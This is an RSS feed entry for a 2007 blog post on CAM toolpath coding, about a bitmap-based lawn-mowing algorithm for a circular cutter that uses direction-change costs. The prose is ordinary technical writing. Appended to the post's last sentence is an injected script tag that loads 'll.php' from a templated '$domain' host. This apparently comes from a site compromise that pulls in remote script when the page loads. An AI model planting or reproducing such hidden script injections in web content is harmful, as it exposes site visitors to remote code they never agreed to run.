
		<guid isPermaLink="false">http://www.anderswallin.net/2007/12/mowing-tactics/</guid>
		<description><![CDATA[Moving forward with the CAM coding, the sensible thing would probably be to work on mundane things like 2D offset generation, a kd-tree for faster drop-cutter searches, and zigzag-paths from 2D outlines... There's again been some talk about open-source CAM on cnczone, but not much in terms of results or actual descriptions or implementations of [...]]]></description>
			<content:encoded><![CDATA[<p>Moving forward with <a href="http://code.google.com/p/monocam/">the CAM coding</a>, the sensible thing would probably be to work on mundane things like <a href="http://portal.acm.org/citation.cfm?id=1228072">2D offset generation</a>, a <a href="http://en.wikipedia.org/wiki/Kd-tree">kd-tree</a> for faster <a href="http://www.anderswallin.net/2007/08/drop-cutter-in-c-v2/">drop-cutter</a> searches, and zigzag-paths from 2D outlines... There's again been <a href="http://cnczone.com/forums/showthread.php?t=42392">some talk about open-source CAM on cnczone</a>, but not much in terms of results or actual descriptions or implementations of toolpath algorithms.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/-IyN1wQDE0E?fs=1&amp;hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/-IyN1wQDE0E?fs=1&amp;hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Anyway, here's something more fun than the traditional computational geometry problems I referred to above. It's lawn-mowing tactics, or how do you program the circular robot to mow the red pixels while not cutting too many of them at a time. This is a slightly improved version of <a href="http://www.anderswallin.net/2007/06/an-emergent-spiral/">my earlier trial</a>.  This one considers a number of angles in all directions for each move. From these moves the ones that cut away a suitable amount of material are selected. Additionally I've introduced a cost function for changing direction, it should be easier for the cutter to continue traveling in approximately the same direction than to do abrupt turns. In spite of this, about half-way through the cutter reverses direction...This is obviously done with a bitmap representing the grass to be mowed, but I wonder if it would be better to try to do it more exactly: represent the boundaries of the grass with lines and arcs. A variable step-length also seems like a good idea, on long straight bits the cutter should be able to move in one go as far as it goes.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2007/12/mowing-tactics/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

